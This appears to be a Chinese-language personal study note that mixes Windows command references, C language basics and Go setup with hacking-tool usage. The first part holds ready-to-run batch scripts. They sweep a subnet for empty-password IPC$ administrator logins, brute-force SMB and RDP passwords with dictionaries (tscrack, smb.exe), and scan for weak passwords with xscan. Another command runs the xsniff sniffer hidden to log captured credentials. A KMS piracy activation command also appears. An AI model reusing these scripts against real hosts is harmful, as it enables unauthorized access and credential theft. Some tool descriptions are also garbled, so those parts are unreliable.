tasklist 														# 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)
	/M															# 列出当前进程加载的dll文件
	/SVC														# 显示出每个进程对应的服务,无参数时就只列出当前的进程

# 批处理命令与变量
FOR /[option] %variable IN (set) DO command [command_parameters] %variable
																# 指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
# 批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
# (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

command															# 指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters												# 为特定命令指定参数或命令行开关
IN (set)														# 指在(set)中取值;DO command :指执行command
	/L 															# 指用增量形式{ (set)为增量形式时 }
	/F 															# 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 } 
@echo off 
echo test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use %1.%%G /user:administrator | find "命令成功完成" >>test.txt 
																# 存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
# /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 
@echo off 
echo ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200 
																# 存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。


IF [not] errorlevel <num> <command> 							# 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
# 例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
# 0 指发现并成功执行(真);1 指没有发现、没执行(假)。
# IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
# 例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
# IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
# 例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 
# IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”

tscrack															# 终端服务密码破解
	-h 															# 显示使用帮助 
	-v 															# 显示版本信息 
	-s 															# 在屏幕上打出解密能力 
	-b 															# 密码错误时发出的声音 
	-t 															# 同是发出多个连接(多线程) 
	-N 															# Prevent System Log entries on targeted server 
	-U 															# 卸载移除tscrack组件
	-f 															# 使用-f后面的密码
	-F 															# 间隔时间(频率) 
	-l 															# 使用-l后面的用户名
	-w 															# 使用-w后面的密码字典
	-p 															# 使用-p后面的密码
	-D 															# 登录主页面 
tscrack 192.168.0.1 -l administrator -w pass.dic 				# 远程用密码字典文件暴破主机的administrator的登陆密码 
tscrack 192.168.0.1 -l administrator -p 123456 					# 用密码123456远程登陆192.168.0.1的administrator用户 
@if not exist ipcscan.txt goto noscan 
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i 
nscan 
@echo 3389.txt no find or scan faild 

# (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) 
# 3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat 
@if not exist tscrack.exe goto noscan 
@tscrack %1 -l administrator -w pass.dic >>rouji.txt 
:noscan 
@echo tscrack.exe no find or scan faild 
# (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了) 
# hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

xscan															# 扫描工具
xscan -host <SIP>[-<DIP>] <Project> [OtherOptin] 				# 扫锚"起始IP到终止IP"段的所有主机信息 
xscan -file <host list file> <Project> [OtherOptin] 			# 扫锚"主机IP列表文件名"中的所有主机信息 
    -active														# 检测主机是否存活 
    -os															# 检测远程操作系统类型(通过NETBIOS和SNMP协议) 
    -port														# 检测常用服务的端口状态 
    -ftp														# 检测FTP弱口令
    -pub														# 检测FTP服务匿名用户写权限
    -pop3														# 检测POP3-Server弱口令
    -smtp														# 检测SMTP-Server漏洞
    -sql														# 检测SQL-Server弱口令
    -smb														# 检测NT-Server弱口令
    -iis														# 检测IIS编码/解码漏洞 
    -cgi														# 检测CGI漏洞
    -nasl														# 加载Nessus攻击脚本
    -all														# 检测以上所有项目
    -i															# 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
    -l															# 显示所有网络适配器 
    -v															# 显示详细扫描进度 
    -p															# 跳过没有响应的主机 
    -o															# 跳过没有检测到开放端口的主机 
    -t															# 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 
    -log														# 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件) 
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 		# 检测网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 	# 检测网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机 
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 				# 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机


ftp -v -d -i -n -g [hostname]									# 熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效
	-v															# 显示远程服务器的所有响应信息
	-n															# 限制ftp的自动登录,即不使用;.n etrc文件;
	-d															# 使用调试方式;
	-g															# 取消全局文件名。
# FTP使用的内部命令如下(中括号表示可选项):
	![cmd[args]]												# 在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip 
	$ macro-ame[args]											#  执行宏定义macro-name。
	account[password]											#  提供登录远程系统成功后访问系统资源所需的补充口令。
	append local-file[remote-file]								# 将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
	ascii														# 使用ascii类型传输方式。
	bell														# 每个命令执行完毕后计算机响铃一次。
	bin															# 使用二进制文件传输方式。
	bye															# 退出ftp会话过程。
	case														# 在使用mget时,将远程主机文件名中的大写转为小写字母。
	cd remote-dir												# 进入远程主机目录。
	cdup														# 进入远程主机目录的父目录。 
	chmod mode file-name										# 将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
	close														# 中断与远程服务器的ftp会话(与open对应)。 
	cr															# 使用asscii方式传输文件时,将回车换行转换为回行。
	delete remote-file											# 删除远程主机文件。 
	debug[debug-value]											# 设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。
	dir[remote-dir][local-file]									# 显示远程主机目录,并将结果存入本地文件。
	disconNECtion												# 同close。
	form format													# 将文件传输方式设置为format,缺省为file方式。 
	get remote-file[local-file]									#  将远程主机的文件remote-file传至本地硬盘的local-file。
	glob														# 设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。 
	hash														# 每传输1024字节,显示一个hash符号(#)。
	help[cmd]													# 显示ftp内部命令cmd的帮助信息,如:help get。 
	idle[seconds]												# 将远程服务器的休眠计时器设为[seconds]秒。
	image														# 设置二进制传输方式(同binary)。 
	lcd[dir]													# 将本地工作目录切换至dir。
	ls[remote-dir][local-file]									# 显示远程目录remote-dir, 并存入本地文件local-file。 
	macdef macro-name											# 定义一个宏,遇到macdef下的空行时,宏定义结束。
	mdelete[remote-file]										# 删除远程主机文件。 
	mdir remote-files local-file								# 与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。
	mget remote-files											# 传输多个远程文件。 
	mkdir dir-name												# 在远程主机中建一目录。
	mls remote-file local-file									# 同nlist,但可指定多个文件名。 
	mode[modename]												# 将文件传输方式设置为modename, 缺省为stream方式。
	modtime file-name											# 显示远程主机文件的最后修改时间。
	mput local-file												# 将多个文件传输至远程主机。
	newer file-name												#  如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
	nlist[remote-dir][local-file]								# 显示远程主机目录的文件清单,并存入本地硬盘的local-file。
	nmap[inpattern outpattern]									# 设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
	ntrans[inchars[outchars]]									# 设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
	open host[port]												# 建立指定ftp服务器连接,可指定连接端口。 
	passive														# 进入被动传输方式。
	prompt														# 设置多个文件传输时的交互提示。 
	proxy ftp-cmd												# 在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
	put local-file[remote-file]									# 将本地文件local-file传送至远程主机。 
	pwd															# 显示远程主机的当前工作目录。
	quit														# 同bye,退出ftp会话。 
	quote arg1,arg2...											# 将参数逐字发至远程ftp服务器,如:quote syst.
	recv remote-file[local-file]								# 同get。 
	reget remote-file[local-file]								# 类似于get, 但若local-file存在,则从上次传输中断处续传。
	rhelp[cmd-name]												# 请求获得远程主机的帮助。 
	rstatus[file-name]											# 若未指定文件名,则显示远程主机的状态, 否则显示文件状态。
	rename[from][to]											# 更改远程主机文件名。 
	reset														# 清除回答队列。
	restart marker												# 从指定的标志marker处,重新开始get或put,如:restart 130。 
	rmdir dir-name												# 删除远程主机目录。
	runique														# 设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。 
	send local-file[remote-file]								# 同put。
	sendport													# 设置PORT命令的使用。
	site arg1,arg2...											# 将参数作为SITE命令逐字发送至远程ftp主机。
	size file-name												# 显示远程主机文件大小,如:site idle 7200。 
	status														# 显示当前ftp状态。
	struct[struct-name]											# 将文件传输结构设置为struct-name, 缺省时使用stream结构。 
	sunique														# 将远程主机文件名存储设置为只一(与runique对应)。
	system														# 显示远程主机的操作系统类型。 
	tenex														# 将文件传输类型设置为TENEX机的所需的类型。
	tick														# 设置传输时的字节计数器。 
	trace														# 设置包跟踪。
	type[type-name]												# 设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。 
	umask[newmask]												# 将远程服务器的缺省umask设置为newmask,如:umask 3
	user user-name[password][account]							# 向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。 
	verbose														# 同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.
	[cmd]														# 同help.

xsniff															# 命令行方式嗅探器,可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
	-tcp														# 输出TCP数据报
	-udp														# 输出UDP数据报
	-icmp														# 输出ICMP数据报
	-pass														# 过滤密码信息 
	-hide														# 后台运行 
	-host														# 解析主机名 
	-addr														# IP地址 过滤IP地址
	-port														# 端口 过滤端口 
	-log														# 文件名 将输出保存到文件 
	-asc														# 以ASCII形式输出
	-hex														# 以16进制形式输出
xsniff.exe -pass -hide -log pass.log 							# 后台运行嗅探密码并将密码信息保存在pass.log文件中 
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 					# 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出


# windows 系统下CMD命令大全
winver															# 检查Windows版本
wmimgmt.msc														# 打开windows管理体系结构
wupdmgr															# windows更新程序
winver															# 检查Windows版本
wmimgmt.msc														# 打开windows管理体系结构
wupdmgr															# windows更新程序
wwww															# windows脚本宿主设置
write															# 写字板
winmsd															# 系统信息
wiaacmgr														# 扫描仪和照相机向导
winchat															# XP自带局域网聊天
mem.exe															# 显示内存使用情况
Msconfig.exe													# 系统配置实用程序 
mplayer2														# 简易widnows media player
mspaint															# 画图板
mstsc															# 远程桌面连接
mplayer2														# 媒体播放机
magnify															# 放大镜实用程序
mmc																# 打开控制台
mobsync															# 同步命令
dxdiag															# 检查directx信息
drwtsn32														# 系统医生
devmgmt.msc														# 设备管理器
dfrg.msc														# 磁盘碎片整理程序
diskmgmt.msc													# 磁盘管理实用程序
dcomcnfg														# 打开系统组件服务
ddeshare														# 打开DDE共享设置
dvdplay															# DVD播放器
net stop messenger												# 停止信使服务
net start messenger												# 开始信使服务 
notepad															# 打开记事本
nslookup														# 网络管理的工具向导
ntbackup														# 系统备份和还原
narrator														# 屏幕"讲述人"
ntmsmgr.msc														# 移动存储管理器
ntmsoprq.msc													# 移动存储管理员操作请求
netstat -an														# (TC)命令检查接口
syncapp															# 创建一个公文包
sysedit															# 系统配置编辑器
sigverif														# 文件签名验证程序
sndrec32														# 录音机
shrpubw															# 创建共享文件夹
secpol.msc														# 本地安全策略
syskey															# 系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc													# 本地服务设置
Sndvol32														# 音量控制程序
sfc.exe															# 系统文件检查器
sfc /scannow---windows											# 文件保护
tsshutdn														# 60秒倒计时关机命令
tourstart														# xp简介(安装完成后出现的漫游xp程序)
taskmgr															# 任务管理器
eventvwr														# 事件查看器
eudcedit														# 造字程序 
explorer														# 打开资源管理器
packager														# 对象包装程序
perfmon.msc														# 计算机性能监测程序
progman															# 程序管理器
regedit.exe														# 注册表 
rsop.msc														# 组策略结果集
regedt32														# 注册表编辑器
rononce -p 														# 15秒关机
regsvr32 /u *.dll												# 停止dll文件运行
regsvr32 /u zipfldr.dll											# 取消ZIP支持
cmd.exe															# CMD命令提示符
chkdsk.exe														# Chkdsk磁盘检查
certmgr.msc														# 证书管理实用程序
calc															# 启动计算器
charmap															# 启动字符映射表
cliconfg														# SQL SERVER 客户端网络实用程序
Clipbrd															# 剪贴板查看器
conf															# 启动netmeeting
compmgmt.msc													# 计算机管理
cleanmgr														# **整理
ciadv.msc														# 索引服务程序
osk																# 打开屏幕键盘
odbcad32														# ODBC数据源管理器
oobe/msoobe /a													# 检查XP是否激活
lusrmgr.msc														# 本机用户和组
logoff															# 注销命令
iexpress														# 木马捆绑工具,系统自带
Nslookup														# IP地址侦测器
fsmgmt.msc														# 共享文件夹管理器
utilman															# 辅助工具管理器
gpedit.msc														# 组策略

slmgr /skms kms.03k.org && slmgr /ato							# 这个是激活命令
# 如果blos出现密码:关机重新,开机时按下F8进入带命令提示符的安全模式,输入:“net user*****123456/add”	//强制将密码改成123456.

用户与组

  1. Server System Edition,windows use [00,03,08,12],linux use [redhat,centos].
Users
  1. 每个用户登录系统后,拥有不同的操作权限。每个账户有自己唯一的SID(安全标识符)
1. SID`S-1-5-21-426206823-2579496042-14852678-500`,除最后一段,剩下的为系统在局域网中的id,最后一段代表User id。
2. Windows System Administrators of User id 500,普通User of id yes 1000 start。`whoami /user` :查看SID值。
  1. 账户密码存储位置C\windows\system32\config\SAM,hash加密只能暴力破解。服务器系统默认密码最多的有效期 42 天。

  2. 内置账户

1. User使用的账户:administrator(管理员账户)、guest(来宾账户)。
2. Computer服务组件相关的系统账户:system(系统账户,权限最高)、local services(本地服务账户,权限等于普通用户)、network services(网络服务账户,权限等于普通账户)。
  1. 每个用户都有自己的配置文件,在用户第一次登录时自动生成,路劲是:win7/08(c:\users\)、winxp/03(c:\Documents and Settings\)。

    net user # 查看用户,加用户名可以查看详细
    net user name 123 # 代表修改密码只有管理员可用。
    net user name1 1234 /add # 创建用户并设置用户名和密码
    net user name1 /del # 删除指定用户
    net user name1 /active:yes|no # 激活或禁用账户

Groups
  1. 组的作用是简化权限的赋予,赋予权限方式:用户进入组,组赋予权限,用于多个人使用相同权限。用户直接赋予权限,用于个人使用不同权限。

  2. 内置组的权限默认已经被系统赋予。

    administrators # 管理员组
    guests # 来宾组
    users # 普通用户组,默认新建用户都属于该组
    network # 网络配置组
    print # 打印机组
    Remote Desktop # 远程桌面组

  3. 组管理命令

    1. net localgroup # 查看组,加组名可以查看详细
2. net localgroup name1 /add     	    			# 创建组
3. net localgroup name1 /del            			# 删除指定组
4. net localgroup name1 user /add       			# 创建用户到组
5. net localgroup name1 user /del       			# 删除指定组中的用户

语言基础

C 语言

  1. visual Studio lnstaller安装去官网下载后点击exe文件,在弹出的窗口中点击继续后,选择c++桌面开发并点击安装。

  2. 注册账号:登录vsl的时候需要登录账号,所以需要试用邮箱创建一个账号。

  3. 新建项目:点击新建项目后,再点击控制台应用并下一步,输入项目名称、路径、解决方案名称;c的后缀是c,c++的后缀是cpp;输入这段代码并运行,用来测试是否搭建成功。

    #include<stdio.h>
    int main(){
    printf(“hello world!”);
    return 0;
    }

  4. 注释分为单行注释和多行注释,单行注释用**//来,而多行注释用/ /的中间注释。

    #include<stdio.h> //头文件包含,是在其他的包中调用函数。
    int main(){ //main函数是主函数,是程序开始的地方。
    printf(“hello world!”); //打印函数
    return 0; //返回,c语言写完一行后需要加;确定结尾。
    }

  5. 数据类型关键字:char 字符型 占一个字节,用单引号引起来只能使用asill的一个字符,用双引号引起来的用于字符串;short短整型,占2个字节;int整型在不同位数的操作系统下占不同位数;long长整型与int相同;float单浮点型占四个字节;double双浮点型占8个字节;signed有符号,unsigned无符号数,viod空类型。

  6. 其他关键字:sizeof(data)测试占用存储空间大小;typedef用于类型重命名;volatile;容易改变,是告诉处理器每次用volatile定义的变量时,重新去内存获取。

    typedef long int lint //可将长的类型定义为短的
    lint data = 1

  7. 数据类型,基本数据类型:char、short int、int、long int 、float、double。

1. 变量是随时变化的量,常量是保持不变的量,有数字、字母、下划线组成。不能使用数字开后、不能还有空格、不能与关键字重名`类型 变量名|常量名 = 数据`。
2. 变量风格:linux风格,小写+下划线;驼峰风格,首字母大写+下划线;c需要区分大小写。
  1. 转义字符,以反斜杠“\”开头;每个字符串结尾会自动的添加一个结尾符“\o”。

    %d // (有符号)十进制整数
    %u // (无符号)十进制整数
    %x // (十六)整数
    %o // (八)整数
    %f // (float)浮点型
    %l // (double)浮点型
    %e // (树形式)浮点型
    %s,%c,%p // 分别是字符串,单个字符,指针的值

# 特殊:
%3d													// 要求宽度为3位,如果不足3位,前面补空格;
%03d												// 要求宽度为3位,如果不足3位,前面补0;
%-3d												// 要求宽度为3位,如果不足3位,后面补空格;
%.2f												// 小数点后保留2位;
  1. 构造类型和数据转换:由若干个相同或不同的类型构成的集合,这种数据类型被称为构造类型。具有特性的分别是:数组、构造体、共同体、枚举;数据转换分为自动转换和强制转换,前者遵循一定的规律,由编译系统自动完成。后者把表达式的运算结果强制转换成需要的数据类型;自动转换的原则是占字节数少的向占字节数多的转。

    char,short
    signed int
    unsigned int
    long,float
    double
    // 转换顺序为从上往下转
    // 当表达式中出现了char、short、int类型中的一种或者多种时,会将全部转为int运算。
    // 当表达式中出现了带小数点的实数参加运算时,全部以double类型的参加运算。
    // 当表达式中有有符号数和无符号数时,参加运算的成员全部变成无符号数运算。
    // 在赋值语句中等号右边的类型自动转换为等号左边的类型,注意自动类型转换都是临时的转换,并不会影响自动类型转换的变量。

  2. 运算符:算数运算符,+、-、*、/、%、+=、-=、 *=、%=;关系运算符,>、<、==、>=、<=、!=;逻辑运算符,&&、||、!;位运算,&、|、~(取反)、^(异或)、>>、<<,算数右移高位补符号位,逻辑右移高位补零;条件运算符,a1?d1:d2 如果a1满足时返回d1,不满足返回d2;逗号运算符,a1=(d1,d2)a1等于最后边的值;自增自减运算符,i++、i–(先用后加);–i、++i(先加后用);运算符的优先级,算数运算和关系运算高于关系运算,关系运算高于逻辑运算;原码反码补码,正数在内存以原码存储,负数在内存以补码存储;正数时原码=反码=补码;负数时,原码反码补码最高位是一,反码需要将剩下取反,补码是取反加一。

  3. 基本结构语句

    // 条件语句if_else,if可以做单条件、双条件和多条件。
    if (表达式){代码块
    }else if{代码块
    }else{代码块
    }
    // 条件语句switch是一个多条件,以常量表达式为主的条件语句。
    switch(表达式){ //表达式只能是字符或整型
    case 常量表达式1:
    代码块
    case 常量表达式n:
    代码块
    default:代码块;
    }

// 循环语句while循环是以条件循环的,条件不成功可以一直循环,也可以设置永真条件。
while(条件){											// 先判断后执行
    循环体
}
do {		 										// 先执行后判断
    循环体
}while(条件);

// 循环语句for循环主要以次数的循环
for(表达式1,表达式2,表达式3){							// 表达式1只有在第一次循环时执行,表达式2时条件,表达式3是每次循环都会执行。
    循环体
}

// 跳跃结构goto用于代码之间的跳跃,不建议使用,因为会把代码搞得很乱。
printf(1)
goto A												// 只会输出1和3
printf(2)
A:
	printf(3)
  1. 数组和函数:数组是若干个相同类型的变量在内存中有序存储的集合。
1. 数组定义类型:基本型、指针型“int *a[10]”、结构体型“stract stu boy[10]”;在数组定义的时候可以不给出数组元素的个数,根据初始化的个数来定义数组的大小“int a[]={1,2,3,4,5}”;定义二维数组的时候,可以不给出行数,但必须给出列数,二维数组的大小根据初始化的行数来定。

2. 初始化数组:定义数组的时候,顺便给数组的元素赋初值;全部初始化,有几个元素,赋几个值;部分初始化,有5个元素,赋4个值;二维逐个初始化,不用大括号分开;数组可定义一维、二维、多维“类型 数组名[10]”。需要几维就加几个。

3. 引用时是:数组名[下标];下标是元素在内存中的位置;用字符串赋值比用字符逐个赋值多占一个字节,用于存放结束标志“\o”;输入:scanf_s(“%s”,str,15) //15是只能输入15个字符。(数组本身可以作为地址,就不需要&符号了);输出:printf(“hello world!”) 。
    
            #include<stdlib.h>
    srand((unsigned)time(null));	//以当前时间为准,设置随机种子
    ch=rand();	//生成一个随机数字
    
    #include<conio.h>
    ch = getch();	//实时获取键盘中输入的值
    
    #include<time.h>
    time(null);	//获取时间
    
    #include<corecrt.h> 	//定义时间类型时需要用到的头文件
    time_t a;	//定义时间类型
    
    system("cls");	//执行dos中的命令
    
    //esc在ascil中等于27;
    

4. 函数是c的功能单位,实现一个功能可以封装一个函数来实现;函数分为库函数、自定义函数、系统调用函数(操作系统实现的函数);函数可以传参数,也可以不传;定义返回什么类型就返回什么类型,默认返回整型;函数的定义不能嵌套,即不能在一个函数体内定义另一个函数。
    
            返回类型 函数名(参数){    //不传时用void
        代码块
        return;
    }
    

5. 声明是要编译器认识这个函数,声明用于被调函数在主调函数下方是时或在另一个文件中时需要声明;声明分为直接声明和间接声明。
    
            // 直接声明是将函数的定义行复制到main的入口上方。
    void fun(void);
    
    int main(){
        ...
    }
    void fun(void){
        ...
    }
    
    // 头文件调用时用<>括起来的直接在c库中寻找,用“”引起来的先去当前目录寻找,找不到后再去c库中寻找。
    a.c
    include"as.h"
    int main(){
        fun();									//两个函数在同一目录下时,可直接调用
    }
    ----------------
    b.c
    void fun(void){
        return;
    }
    ----------------
    as.h
    extern void fun(void);						//间接声明时需要用extern
    ----------------
    变量=函数名(参数);								//函数的调用
  1. 变量的存储类别
1. 内存分为物理内存和虚拟内存,操作系统会在物理内存和虚拟内存之间做映射。在32位操作系统下,每个进程的寻址范围4g;0x00000000~0xf…。
2. 在运行程序的时候,系统会将虚拟内存进行分区:堆,在动态申请内存的时候,在堆里开辟内存;栈,主要存放局部变量。
3. 静态全局区:未初始化的静态全局区:存放没有初始化的变量;初始化的静态全局区:存放赋过初值的变量。
4. 代码区,存放程序代码;文字常量区,存放常量。
5. 内存以字节为单位来存储数据的,可以看成一个更大的一维字符数组。
6. 全局变量是在main之前定义的,程序运行到结束一直存在;普通全局变量是在其他文件中需要extern定义;所有点c都可以使用;动态全局变量是只能在定义点c中使用;静态全局变量是 需要在变量定义的时候前面加上static修饰;只允许定义它的点c的文件中使用。“static int num=100;”。
7. 局部变量是在函数内部或复合语句中定义的,在定义它的函数或复合语句中使用,在函数调用之前局部变量不占用空间,只有在调用的时候才会在内存中开辟空间;普通局部变量函数结束之后就会释放;静态局部变量也可以在函数执行之后外部使用;用static修饰,函数结束之后不会释放,以后再调用函数的时候,就不在为其开辟空间了;复合语句用大括号括起来使用的。
8. 内部函数和外部函数:外部函数就是普通函数,它可以被任何一个文件所调用;内部函数在函数定义前用static修饰,内部函数只能在定义的文件中使用。
  1. C语言编译过程分为:预处理 ,会将点c中的头文件和宏展开后生成点i文件、编译 ,将与处理之后的点i文件生成点s汇编文件、汇编 ,将点s汇编文件生成点o目标文件、链接 ,将点o文件链接成目标文件。linux下的GCC编译器编译过程:预处理,gcc -E a.c -o a.i、编译,gcc -S a.i -o a.s、汇编,gcc -c a.s -o a.o、链接,gcc a.o -o a。
1. #include<>,是在系统指定下的路径下找头文件。#include“”,是先在当前目录找头文件,找不到后再去系统指定的路径寻找。include可以包含点c文件,但是不要包含点c。因为include会在预处理时展开,如果一个点c被包含多次,就会导致函数重复定义。预处理只是对include进行处理,并不会检查语法。只有在编译阶段才会进行语法检查。

2. 定义宏需要用到define去定义,只要修改宏定义,其他地方在预编译的时候就会重新替换,宏定义后边不用加分号,宏的作用范围是定义的地方到文件尾,如果向在中间终止需要使用“undef”。带参数的宏在调用时需要传参,传入的参数会在预处理中保留。
    
            // 不带参数的宏
    // 预编译前
    #define pi 3.14
    int main(){
        double f;
        printf("%lf\n",pi);
        f=pi
        #undef pi
    }
    // 预编译后
    int main(){
        double f;
        printf("%lf\n",3.14);
        f=3.14
        #undef pi
    }
    
    // 带参数的宏
    //预编译前
    #define s(a,b) a*b
    int main(){
        printf("%lf\n",s(2,4));
        #undef s
    }
    //预编译后
    int main(){
        printf("%lf\n",2*4);
        #undef pi
    }
    

3. 带参数宏和带参数函数的区别:带参数宏调用多次展开多次,执行代码时不需要调用,也就不需要压栈弹栈。但是浪费空间,节约时间;带参数函数,代码只有一份,存在代码段,调用的时候去代码段取指令,调用的时候要,压栈和弹栈。但是节约空间,浪费时间;带参函数的形参是有类型的,带参宏的形参是没有类型的。

4. 选择性编译
    
            // 选择性编译是通过一个宏来判定的,如果宏存在就执行a代码,如果不存在就执行b代码。
    //编译前
    #define aa
    main(){
        #ifdef aa
        printf("a");
        #else
        printf("b");
        #endif
        return 0;
    }
    //编译后
    main(){
        printf("a");
        return 0;
    }
    
    // 选择性编译是通过一个宏来判定的,如果宏存在就执行b代码,如果不存在就执行a代码。主要用于防止头文件重复包含。
    //编译前
    #define aa
    main(){
        #ifndef aa
        printf("a");
        #else
        printf("b");
        #endif
        return 0;
    }
    //编译后
    main(){
        printf("b");
        return 0;
    }
    //__________________----
    a.c
    main(){
        func(2,3);
    }
    int func(int a,int b){
        return a*b;
    }
    b.h		//这样写即可去重重复调用头文件。
    #ifndef __FUN_H__		//宏不存在时执行
    #define __FUN_H__		//定义宏执行过一遍后,下次执行将不再走这里。
    extern int func(int a,int b);
    #endif
    
    // 选择性编译是通过一个表达式来判定的,如果表达式为真就执行a代码,如果表达式为假就执行b代码。
    //编译前
    int main(){
        #if 1
        printf("a");
        #else
        printf("b");
        #endif
        return 0;
    }
    //编译后
    int main(){
        printf("a");
    	return 0;
    }
  1. 静态库和动态库
1. 动态编译是于编译的可执行文件用链接关系,失去链接后将无法使用可执行文件`gcc a.c -o a`。
2. 静态编译是于编译的可执行文件打包在一起,并不使链接,可以在任何地方使用`gcc -static a.c -o a`。
3. 静态库制作:`gcc -c mylib.c -o mylib.o`、`ar rc libtestlib.a mylib.o`。注意:静态库起名的时候必须以lib开头以.a结尾。
4. 静态库编译的二种方式:`gcc -static a.c libaa.a -o a`、`gcc -static a.c -o a -L/a/a -l asdf -I/a/a`。-L是指库文件路径;-l是指找那个库;-I是指头文件路劲。
5. 动态库制作:`gcc -shared a.c -o libtestlib.so`。
6. 动态库编译的二种方式:`gcc a.c libaa.so -o a`编译之前需要加环境变量,不然找不到`export LD_LIBRARY_PATH=./:SLD_LIBRARY_PATH`;`gcc a.c -o a -L/a/a -l asdf -I/a/a`-L是指库文件路径;-l是指找那个库;-I是指头文件路劲`export LD_LIBRARY_PATH=./:SLD_LIBRARY_PATH`。
  1. 系统给虚拟内存的每个存储单元分配了一个编号,编号称之为地址或指针。指针变量就是用来存储地址的,在不同位数的操作系统下指针变量的位数也不同。使用什么类型的地址,就只能存储什么类型的地址。字符变量如果占一个字节就会有一个地址编号,如果整型占了四个字节就使用了四个存储单元也就有四个地址编号。一般用最小的地址编号来代表。

Golang

  1. 编译器是全文翻译,解释器是实时翻译。从语言层面支持并发,非常简单,go语言就是天然并发。

  2. MAC&Linux环境搭建

1. MAC:在golang.google.cn中点击Download Go,选择Apple macOS即可,默认安装路径是:/usr/local/go/。

2. Linux:在命令窗口中输入`wget https://dl.google.com/go/go1.14.2.linux-amd64.tar.gz`,解压到/usr/local目录`tar-xvf go1.14.2.linux-amd64.tar.gz -c /usr/local`。

3. 个人配置:创建一个任意目录用于存放你写的代码,在目录下创建三个文件夹“bin”、“pkg”、“src”。bin存放编译后的可执行文件、pkg存放包文件、src存放你的项目。
    
            vim-/.bash_profile											// 进入后将环境变量写入即可
        export PATH=/usr/local/go/bin;$PATH						// go编译器路径
        export GOROOT=/usr/local/go								// go安装路径
